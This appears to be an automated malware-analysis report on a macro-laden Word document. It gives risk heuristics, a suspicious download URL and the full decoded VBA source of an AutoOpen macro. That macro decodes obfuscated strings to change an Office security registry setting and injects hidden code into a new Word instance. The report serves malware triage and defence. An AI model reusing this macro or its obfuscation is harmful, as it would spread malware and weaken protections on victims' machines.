MALICIOUS
132
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
collectionSelect.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString memoryTempTrust -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set vbSwap = CreateObject("msxml2.domdocument") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://better-transport-2008.com/bijol/dV6T3iG7zYYN/GdUb2hcoKh0i16jtB3A2H0NA1hpc/74683/46747/72864/44SSv8NGhJXy5fQxaupfdO8M/ZJEB/17780/qJ9lstoLuZrOY/o In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2871 bytes |
SHA-256: 835fe258658b9eb17b3f05278b8c29465366a599c0ca288cd53744703286e94d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C70C972A-9359-4393-8302-539D2FF78F23}{25405C50-5AD6-4D56-82F4-D7B1075E12BD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "listCopy"
Sub autoopen()
viewValueTextbox
Dim clearIteratorRef As String
clearIteratorRef = convertIndex
memoryIndex clearIteratorRef
End Sub
Attribute VB_Name = "refConvertCaption"
Function ptrPtrStorage(constCollectionDatabase As String) As Variant
Dim vbSwap As Object
Dim memCaptionOption As Object
Set vbSwap = CreateObject("msxml2.domdocument")
Set memCaptionOption = vbSwap.createElement("code")
memCaptionOption.DataType = "bin.base64"
memCaptionOption.Text = constCollectionDatabase
ptrPtrStorage = memCaptionOption.nodeTypedValue
End Function
Function exceptionPointer(captionPaste, memConvertStruct)
exceptionPointer = StrConv(captionPaste, memConvertStruct)
End Function
Attribute VB_Name = "optionRemoveGeneric"
Sub memoryIndex(memoryTempTrust As String)
Set optionPtr = CreateObject("word.application")
Set collectionSelect = optionPtr.Documents.Add
collectionSelect.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString memoryTempTrust
optionPtr.Visible = False
optionPtr.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Attribute VB_Name = "repoText"
Function captionBufData() As String
captionBufData = Application.Version
End Function
Function mainExLocal()
mainExLocal = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function listboxNextVar()
listboxNextVar = "cript.sh"
End Function
Function varClass()
varClass = "VjdXJpdHlcQWN"
End Function
Sub viewValueTextbox()
clearReference = exceptionPointer(ptrPtrStorage("SEtFWV9DVVJSR" & mainExLocal & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
countSelect = captionBufData
globalResponse = exceptionPointer(ptrPtrStorage("XFdvcmRcU2" & varClass & "jZXNzVkJPTQ=="), vbUnicode)
clearRefLoad = clearReference & countSelect & globalResponse
With CreateObject("ws" & listboxNextVar & "ell")
.RegWrite clearRefLoad, 1, "REG_DWORD"
End With
End Sub
Public Function textExButton(ByVal tempClearIndex As String) As String
For arrayOption = 1 To Len(tempClearIndex) Step 2
titleSize = Chr$(Val("&H" & Mid$(tempClearIndex, arrayOption, 2)))
trustStruct = trustStruct & titleSize
Next arrayOption
textExButton = trustStruct
End Function
Function convertIndex()
convertIndex = UserForm1.TextBox1
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 26624 bytes |
SHA-256: 92e0ed3463a4bd13970b5ab34d09355ab962b8ea9aece0e16a6bd2c4b76c7f40 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.